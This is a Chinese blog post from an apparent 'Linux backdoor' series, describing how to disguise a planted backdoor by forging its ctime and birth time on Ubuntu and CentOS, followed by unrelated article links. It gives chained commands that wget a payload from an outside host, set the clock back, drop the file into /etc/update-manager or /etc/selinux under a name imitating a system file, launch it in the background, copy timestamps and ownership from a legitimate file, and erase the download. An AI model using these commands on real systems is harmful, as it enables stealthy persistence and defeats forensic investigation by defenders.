修改后门ctime | Linux 后门系列

0x00 前情提要

在 alias 后门 | Linux 后门系列一文中,我们为了让后门完美一些,修改了后门文件的 atime、mtime,但是 ctime 一直没有办法修改,今天我们来把这一块补齐,让后门更加完美

  • atime -> access time, 访问时间

  • mtime -> modify time,修改时间

  • ctime -> change time, 状态变化时间

最新版 Linux 中多了一个属性,文件创建时间,在 Centos Stream 中叫做 created time,在 Ubuntu中叫 Birth time

0x01 ctime 简介

文件状态变化,ctime 就会变化,例如以下信息变化:

  • 文件内容变化

  • 文件属性变化

  • 文件权限变化

  • ...

也就是说我们手动修改 atime 或者 mtime 的时候, ctime 会自动更新为当前时间。ctime是随着改变而改变的

0x02 修改 ctime 的理论方法

由于ctime的特性,我觉得这个问题可以从三个角度去考虑

  • 改变更新文件时间戳的应用运行状态

  • 改变当前时间

  • 改变展示系统时间戳的应用以及属性

1. 改变更新文件时间戳的应用运行状态

从字面意思看,我们可以找到维护Linux文件时间戳的应用,之后对应用本身进行修改,这听起来就是一个十分困难和危险的操作

简单一点,就是停止运行系统,通过较为底层的层面去修改目标文件的ctime,这应该是可行的,只要我们掌握足够的知识,但是不适合在APT场景中使用

2. 改变当前时间

系统的ctime 更改采用的时间是当前系统时间,那么也就是说如果把系统时间手动设置为 2008年1月1日,再对文件状态进行更改,那么最终留下的 ctime 就是 2008年1月1日的了

但是改变系统时间可不是一件小事,可能导致某些程序出现错误,所以需要有效的恢复手段

3. 改变展示系统时间戳的应用以及属性

一般大家都用 stat 来查看文件的完整时间戳,修改 stat 命令来改变展示的 ctime 不是一件难事

但是,可以获取文件 ctime 的应用不止 stat 一款,加上自行通过系统调用获取等。所以可以查看 stat 的源代码,看一下 stat 应用是如何获取和管理 ctime 的,针对其调用的方法进行系统性地修改应该也是可以实现修改文件 ctime 的

0x03 系统时钟与硬件时钟

Linux 时间系统分为系统时钟和硬件时钟,系统时钟存在于Linux 内核中,而硬件时钟存在于硬件主板上

从两种时钟的命名上可以看出,硬件时钟肯定是要比系统时钟更加持久,毕竟系统时钟系统关机就没了嘛

硬件时钟靠着BIOS电池供电,一直维持的一个时间,硬件都是按照这个时间来作为主要依据,每次开机会将计算机硬件时钟的时间的值作为系统时间

为了保证时间的准确性,操作系统一般会有时间同步的服务,也就是NTP服务,来让系统时间更加准确

详细知识可以查看鸟哥的网站

http://cn.linux.vbird.org/linux_server/0440ntp.php

查看系统时钟

date

查看硬件时钟

sudo hwclock --show

图片

0x04 方案选择

改变系统时间的方式最适合APT场景,所以本次介绍这一种方案

0x05 时间修改与恢复

修改系统时间后恢复系统时间必须是瞬时的,较长时间的系统时间改变会造成某些应用故障

1. 系统时间修改

可以使用 date 命令或 timedatectl 来进行,需要 root权限,这里以 date 为例

date -s "时间字符串"

将系统时间设置为 2018年8月9日 10:11:12

sudo date -s "20180809 10:11:12"

图片

这样就将系统时间修改了,但是由于 Ubuntu Server操作系统默认存在时间同步服务,刚修改完下一秒就会变回正常时间(即使是断网的情况下)

图片

快到难以让人分辨到底修改成功没有,也正是这个特性,给我们省了非常多的事,稍后会说,Centos Stream 默认就没有这个特性...

2. ctime 时间修改

ctime 时间修改可以用三种方法

  • touch -at/-mt  这种会一并修改 atime或者 mtime

  • touch -r oldfile newfile  这种方案就是将newfile 的atime 和 mtime 都设置为和 oldfile 一样,同时 ctime 就是当前系统时间了

  • chmod 或者 chown 之类的,修改一下文件属性,例如 chmod +x newfile.sh

在之前的章节中,我们使用的就是 touch -r 这种方式来伪装后门为系统正常文件,这次我们也是选择 touch -r 来进行

3. 系统时间恢复

通过上面的指令,我们已经可以将文件的 ctime 伪装成和系统某些文件一模一样的状态了,现在面临的问题是如何恢复系统时间。可以从以下几个角度去考虑:

  • 若存在NTP服务程序且存在可连接的服务器,可以使用 ntp 服务立刻同步,最常用的两个程序:ntpdate 和 chrony

    ntpdate 不是系统自带的程序, chronyc 是 Centos Stream 自带的, chronyc 立即同步执行后也要等一段时间才会将系统时间完全同步正确

    • sudo ntpdate time.ntp.org

    • sudo chronyc makestep

  • 记录修改前的 date , 修改 ctime 后立刻改回来

    NOW=$(date) && date -s "2021-09-05 08:00:00" && touch file.txt && date -s "$NOW"
    

    参考

    https://sysin.org/blog/how-to-change-file-date/#2-Linux%EF%BC%88%E4%BF%AE%E6%94%B9%E6%97%B6%E9%97%B4%EF%BC%8C%E8%AE%BF%E9%97%AE%E6%97%B6%E9%97%B4%EF%BC%89

这个操作可能会导致操作系统时间与原来差一丢丢,但应该不会差很多

  • 从硬件时间恢复操作系统时间

    • sudo hwclock --hctosys

这个命令的含义是使用硬件时间的值作为系统时间

为了防止原来的系统时间和硬件时间有较大差异,在修改系统时间之前可以先看一下系统时间和硬件时间是否有较大差距

sudo hwclock --show && date +"%Y-%m-%d %H:%M:%S"

图片

可以看到,差距不大,可以考虑从硬件时间恢复系统时间

  • 修改前将系统时间覆盖到硬件时间,修改后恢复时从硬件时间恢复系统时间

    系统时间覆盖硬件时间

    sudo hwclock --systohc

    修改ctime

    balabal

    从硬件时间恢复系统时间

    sudo hwclock --hctosys

需要注意的是,这样的操作会彻底失去原来的硬件时间

0x06 新版本Linux 文件创建时间

Ubuntu Server 22.10 以及 Centos Stream 9 都有文件创建时间这个概念了

图片

图片

文件创建时间目前 touch 命令也不支持直接修改,也没有找到其他工具可以改,所以还是需要通过修改系统时间来进行

0x07 Ubuntu Server 22.10 实验

Ubuntu Server 即使断网使用 date -s 来修改系统时间,系统时间也会马上恢复

图片

还是以 alias 后门那篇文章里的后门为例

图片

默认情况下,/etc/update-manager/目录下有一个 release-upgrades 文件,我们设置一个后门,名字为 release-update,之后再将文件时间修改为和 release-upgrades 相近的时间

先查看一下 release-upgrades 文件的时间戳信息

stat /etc/update-manager/release-upgrades

图片

Access: 2022-11-02 06:39:29.335999611 +0000
Modify: 2022-09-29 19:13:49.000000000 +0000
Change: 2022-11-02 06:36:59.067636265 +0000Birth: 2022-11-02 06:36:59.067636265 +0000

atime 和 mtime 可以直接使用 touch -r 复制, change 和 Birth time(创建时间)通过调整系统时间来完成

这里用whoami 程序来模拟恶意程序,为明显区分文件和目录,后门程序名称为 whoami.elf

  1. 远程下载后门程序

    wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.elf"  -O /tmp/release-update
    
  2. 给后门程序添加可执行权限(配置文件先将权限设置成和release-upgrades相同)

    chmod +x /tmp/release-update
    
  3. 用系统时间覆盖硬件时间

    sudo hwclock --systohc
    
  4. 修改系统时间

    sudo date -s "20221102 06:36:59"
    
  5. copy 一份后门文件来满足文件创建时间模仿

    sudo cp /tmp/release-update /etc/update-manager/
    
  6. 如果是需要执行的后门,现在执行并放置后台,如果像 alias 那种配置文件后门则不需要此章节

    /etc/update-manager/release-update & 
    
  7. touch 模拟 release-upgrades 文件的 atime 和 mtime

    sudo touch -r /etc/update-manager/release-upgrades /etc/update-manager/release-update
    
  8. 从硬件时间恢复系统时间

    sudo hwclock --hctosys
    
  9. 删除下载的后门程序

    rm /tmp/release-update
    

之前说过,这些操作必须是瞬时完成的,所以我们把它们组合起来

wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.elf" -O /tmp/release-update && chmod +x /tmp/release-update && sudo hwclock --systohc && sudo date -s "20221102 06:36:59" && sudo cp /tmp/release-update /etc/update-manager/ && sudo touch -r /etc/update-manager/release-upgrades /etc/update-manager/release-update && sudo hwclock --hctosys && rm /tmp/release-update

图片

实验成功

PS:Ubuntu Server 其实可以没有第 3 步和第 8 步,因为操作系统会自动同步时间

我们去掉第 3 步和第 8 步试一下

图片

实验依旧成功

0x08 Centos Stream 9 实验

Centos 这边依旧使用Ubuntu Server 中的 9 个步骤,不过Centos Stream 9 中没有 /etc/update-manager/这个文件夹,我们选择 /etc/selinux/ 这个目录

图片

这里有一个 semanage.conf ,我们的恶意配置文件起名为 semanage.conf.example

由于模拟的是配置文件,我们服务器上的恶意配置文件的名称为 whoami.conf

图片

我们需要把时间修改为 2022-11-02 00:37:06 目录和文件名也要进行对应修改

同时,既然是配置文件,我们将恶意配置文件的权限和所有权也都设置和同目录下正常文件一致(权限和所属方面要符合后门实际情况,不要造成修改后没有权限读取了)

sudo chmod --reference=正常配置文件 恶意配置文件
sudo chown --reference=正常配置文件 恶意配置文件

这一步放在第 5[6] 步与第 7 步之间

整体命令为(写命令时候一定要小心小心再小心,别写错了)

wget "http://test.oss-cn-beijing.aliyuncs.com/2022/11/02/whoami.conf" -O /tmp/semanage.conf.example && chmod +x /tmp/semanage.conf.example && sudo hwclock --systohc && sudo date -s "20221102 00:37:06" && sudo cp /tmp/semanage.conf.example /etc/selinux/ && sudo chmod --reference=/etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo chown --reference=/etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo touch -r /etc/selinux/semanage.conf /etc/selinux/semanage.conf.example && sudo hwclock --hctosys && rm /tmp/semanage.conf.example

图片

图片

实验成功!


http://www.ppmy.cn/devtools/25812.html

相关文章

在网上相亲软件找对象千万要注意这个骗局!!!

我在相亲软件上面遇到一个女生,跟她聊的很不错,对她挺有好感的。聊了几天后,她建议我们见一面,我觉得可以。因为只通过文字和语音来交流,很难快速全面了解对方的真实情况,见面如果觉得合适的可以继续深入交…

Swift - 流程控制

文章目录 Swift - 流程控制if-else2. while3. for3.1 闭区间运算符3.2 半开区间运算符3.3 for - 区间运算符用在数组上3.3.1 单侧区间 3.4 区间类型3.5 带间隔的区间值 4. switch4.1 fallthrough4.2 switch注意点 5. 复合条件6. 区间匹配、元组匹配7. 值绑定8. where9. 标签语句…

深度解析:人工智能作画算法的原理与技术

引言 在数字艺术的探索中,人工智能(AI)作画算法以其独特的创造性和艺术性引起了广泛的兴趣。这些算法不仅仅是简单的图像处理工具,它们背后蕴藏着复杂的神经网络和深度学习模型。本文将深入探讨AI作画算法的原理与技术&#xff0…

Python+Selenium基于PO模式的Web自动化测试框架

🍅 视频学习:文末有免费的配套视频可观看 🍅 点击文末小卡片 ,免费获取软件测试全套资料,资料在手,涨薪更快 一、什么是Selenium? Selenium是一个基于浏览器的自动化测试工具,它提供…

前端项目学习记录4:1,2,3总结

1.需要安装的依赖 pnpm i element-plus/icons-vue element-plus axios sass vue-router pnpm i -D types/node fast-glob mock.js vite-plugin-mock2.9.6 vite-plugin-svg-icons 2.删除不必要的文件 3.整体文件夹 .vscode --> 不用管 mock --> …

Updates were rejected because the tip of your current branch is behind

参考:https://blog.csdn.net/weixin_46713695/article/details/126745646 解决Updates were rejected because the tip of your current branch is behind its remote counterpart问题 Git错误提示Integrate the remote changes…的解决方法 Git在push推送时,报错…

互联网的路由选择协议

一、内部网关协议RIP (1)概述 RIP是一种分布式的、基于距离向量的路由选择协议。 RIP认为一个好的路由就是它通过的路由器的数目少,即“距离短”RIP允许一条路径最多只能包含15个路由器 (2)RIP的特点 和谁交换信息…

leetcode刷题(python)——(十)

01.04.04 练习题目(第 10 天) 1. 0069. x 的平方根 1.1 题目大意 要求:实现 int sqrt(int x) 函数。计算并返回 x x x 的平方根(只保留整数部分),其中 x x x 是非负整数。 说明: 0 ≤ x ≤…

H3C无线AP管理命令

先上链接 01-AP管理命令-新华三集团-H3C display wlan ap all

C语言入门课程学习笔记-7

C语言入门课程学习笔记-7 第31课 - 初探程序中的函数实验-函数调用实验-函数求前n个正整数和 第32课 - 深入浅出函数调用第33课 - 函数定义细节剖析实验-返回int实验-返回void 第34课 - 函数参数深度剖析实验-形参实参实验-数组元素作为函数形参小结 第35课 - 编写函数对数组排…

All in OpenNJet:OpenNJet 助力Web应用开发

前言 OpenNJet应用引擎是基于 NGINX 的面向互联网和云原生应用提供的运行时组态服务程序,作为底层引擎,OpenNJet实现了NGINX 云原生功能增强、安全加固和代码重构,利用动态加载机制可以实现不同的产品形态,如Web服务器、流媒体服…

Python来计算 1,2,3,4 能组成多少个不相同且不重复的三位数?

我们今天的例子是 有 1,2,3,4 四个数字,它们能组成多省个互不相同且无重复的三位数?都分别是多少? 话不多说,我们先上代码 num 0 # 我们写了三个for循环,表示生成的三位数 for i…

MogDB导出TYPE对象的DDL

目前 dbms_metadata.get_ddl 还不支持导出TYPE对象 orcl> select version();version -----------------------------------------------------------------------------------------------------…

【网络安全】对称加密、非对称加密以及密钥分配

目录 1、对称加密 2、非对称加密 3、如何分配对称密钥? 4、如何分配非对称密钥? 1、对称加密 所谓对称加密,就是指加密密钥与解密密钥都使用相同的密钥。如下图所示,通信双方使用的就是对称加密密钥。//代表:DES和…

【前端】vue数组去重的3种方法

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、数组去重说明二、Vue数组去重的3种方法 前言 随着开发语言及人工智能工具的普及,使得越来越多的人会主动学习使用一些开发工具,本文…

打包的意义 作用等前端概念集合 webpack基础配置等

基础网页是什么? 在学校最基础的三剑客 原生JS CSS H5就可以开发静态网页了 对于浏览器而言也能识别这些基础的文件和语法,真正的所见即所得,非常直接。 为什么要使用框架库? 对于常用的前端框架而言,无论是Vue Rea…

Agent AI智能体的未来【模板】

Agent AI智能体的未来 随着Agent AI智能体的智能化水平不断提高,它们在未来社会中的角色、发展路径以及可能带来的挑战也引起了广泛关注。快来分享一下你的看法吧~ 提醒:在发布作品前,请把不需要的内容删掉。 方向一:技术进步与…

mysql事故复盘: 单行字节最大阈值65535字节(原创)

背景 记得还在银行做开发,投产上线时,项目发版前,要提DDL的sql工单,mysql加1个字段,因为这张表为下游数据入湖入仓用的,长度较大。在测试库加字段没问题,但生产库字段加不上。 先说结论 投产…

java 密码SHA-2加密,springboot-bcrypt加密

原理底层啥的就不说了,小白的我只注重使用 SHA-2加密 // 生成随机盐public static String generateSalt() {SecureRandom random new SecureRandom();byte[] salt new byte[16];random.nextBytes(salt);return Base64.getEncoder().encodeToString(salt);}// 哈希…

一文掌握python杖举类(Enum)

目录 枚举类是一种特殊的数据类型,用于定义一组命名的常量集合,这些常量通常代表某一特定领域的有限且固定的选项集。通过使用枚举类,可以提高代码的可读性和可维护性,同时避免硬编码和潜在的类型错误。 一. 定义枚举类 二. 枚举成员 1、 名称与值 2、 访问枚举成员 …